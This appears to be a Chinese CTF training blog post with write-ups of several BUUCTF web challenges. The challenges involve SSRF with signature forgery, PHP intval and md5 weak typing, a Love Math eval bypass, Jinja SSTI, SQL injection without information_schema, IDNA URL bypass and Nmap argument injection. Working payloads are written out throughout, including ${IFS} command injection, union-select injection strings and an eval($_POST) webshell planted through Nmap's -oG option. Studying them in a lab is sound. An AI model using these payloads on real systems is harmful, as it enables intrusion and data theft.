[BUUCTF] 集训第四天

[De1CTF 2019]SSRF Me

打开就是乱七八糟的py源码,没有工具,自己缩进,所以要提升代码审计能力,不仅是php还有py

源码

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)
 
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
 
@app.route('/')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
 
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):
    return hashlib.md5(content).hexdigest()
 
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

先看路由/De1ta

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

获取四个参数action(cookie),param,sign(cookie),ip(不重要)

其中param有黑名单gopher/file(def waf)

进入Task类
调用Exec方法
以json形式返回执行结果

class Task:
    def __init__(self, action, param, sign, ip)://初始化 不用管
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()): //检测sign签名
            if "scan" in self.action:   // mark
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: //mark
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

三个条件

  • 首先 checkSign() => getsign() => md5()
def checkSign(self):
	if (getSign(self.action, self.param) == self.sign):
		return True
	else:
		return False

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):
    return hashlib.md5(content).hexdigest()

先跟进getSign
签名重点:

secert_key + param + action
  • action里要包含scan
  • action里要包含read

满足以上三个条件才可以触发ssrf点,也就是触发scan函数

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

urlopen(param).read()
根据hint的./flag.txt构造param=flag.txt可获取flag
回溯之前的waf对协议的过滤 但不影响直接读取flag.txt

再回到chenSign本身

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

要满足

getSign(self.action, self.param) == self.sign

有个可以获取sign的路由

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

这里action固定为scan
如果根据之前的逻辑,构造出action=readscan(包含)
这里就要构造param=flag.txtread

serect_key+"flag.txtread"+"scan"

在这里插入图片描述这一步获取关键sign

之后param=flag.txt 于是action=readscan

因为是拼接所以怎么拆分都没有关系

payload1:

/De1ta?param=flag.txt
cookie:action=readscan;sign=7b199007e9543c7c19abd83a9bec58c4;

cookie值抓包或者F12存储修改都可

payload2:

Hash长度扩展攻击

安装工具HashPump

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

[WUSTCTF2020]朴实无华

robots.txt => /fAke_f1agggg.php => flag{this_is_not_flag} => 响应头 => /fl4g.php

  • intval函数漏洞
    上笔记
<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

  • md5 弱类型
    0e215962017

md5(0e215962017)=0e291242476940776845150308577824
自动转换类型=>0

  • 命令执行绕过空格
    ${IFS}

payload:

/fl4g.php?num=2e5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[CISCN 2019 初赛]Love Math

payload1:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls%20/
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac%20/flag

解释如下:

base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符

base_convert(37907361743,10,36)得到的是函数 hex2bin
dechex(1598506324) 得到的是_GET 进行 hex 编码的值

c 的值定义了 $pi=_GET, 那么 $$pi=$_GET

最后执行的代码为$_GET{system}($_GET{tac /flag})

payload2:

getallheaders函数
在这里插入图片描述

base_convert(696468,10,36) => "exec"
base_convert(8768397090111664438,10,30) =>"getallheaders"

利用
echo exec(getallheaders(){1})   //1表示头信息的其中一个参数
=>
eval('echo '.$content.';');
/?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

在这里插入图片描述

[WesternCTF2018]shrine

这次view-source可以自动换行缩进
源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

明显的ssti模板注入
尝试/shine/{{7*7}}
回显49
self,config黑名单
搜索ssti模板注入博文学习,看到这里直接拿来用
在这里插入图片描述
config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app这样的全局变量。
python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象。

这里有两个函数包含了current_app全局变量,
url_forget_flashed_messages

[SWPU2019]Web1

注册登录发广告,还以为是dom-xss,结果是sql注入
在这里插入图片描述注入点是广告名
'闭合测试

猜测语句

select * from table_name where id = '$id' limit 0,1

列字段数,过滤了order空格,我们用group

1'/**/group/**/by/**/22,'

多了一个逗号,我也不知道为什么

查回显位
在2,3

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

查库名,版本

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

在这里插入图片描述查表名,发现过滤了information_schema
还可以用mysql.innodb_table_statssys.schema_auto_increment_colum ns

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

但是buu没有
在这里插入图片描述

MySQL5.7的新特性

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控

无列名注入查字段
flag在users表里

什么是无列名注入?

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

select group_concat(b) from(select 1,2 ,3 as b union select * from users)x

[网鼎杯 2020 朱雀组]Nmap

VS

[BUUCTF 2018]Online Tool

知识点:
escapeshellarg
Nmap使用命令

-oN 标准保存
-oX XML保存
-oG Grep保存 
-oA 保存到所有格式
-append-output 补充保存文件

NMAP -iL 文件名
//扫描目标列表
如果你有大量的系统进行扫描,就可以在文本文件中输入IP地址(或主机名),并使用该文件作为输入。

payload1:
过滤了php,利用php文件后缀phtml

127.0.0.1' <?= eval($_POST[cmd]);?> -oG flag.phtml '

payload2:

127.0.0.1' -iL /flag -oN flag.txt '

[SUCTF 2019]Pythonginx

知识点:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

ngnix让我想到昨晚那道题的apache||ngnix乌龙事件

源码:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
parts = list(urlsplit(url))

list()方法用于将元组转换为列表。
parse.urlprase方法 将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段

ParseResult(scheme=‘https‘, netloc=‘i.cnblogs.com‘, path=‘/EditPosts.aspx‘, params=‘‘, query=‘opt=1‘, fragment=‘‘)

其中 scheme 是协议 netloc 是域名服务器 path 相对路径 params是参数,query是查询的条件

(来源:水印)
在这里插入图片描述

	for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)

split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串,返回分割后的字符串列表。
append()方法用于将传入的对象附加(添加)到现有列表中。
join()方法用于将序列中的元素以指定的字符连接生成一个新的字符串。

知识点:
2019 blackhat 讨论议题

漏洞产生的原因是各国语言的编码形式在进行转换时,会以不同的形式呈现,导致可以构造可以利用的恶意url
当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

在这里插入图片描述
梳理下来总的逻辑就是:
根据代码审计

我们需要绕过前两个if判断,进入第三个if判断去利用read()函数

简单来说就是

在前两个判断时不能是suctf.cc

第三个是suctf.cc

payload:

?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
?url=file://suctf.c%E2%84%82/usr/local/nginx/conf/nginx.conf

在这里插入图片描述

?url=file://suctf.c%E2%84%82/usr/fffffflag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值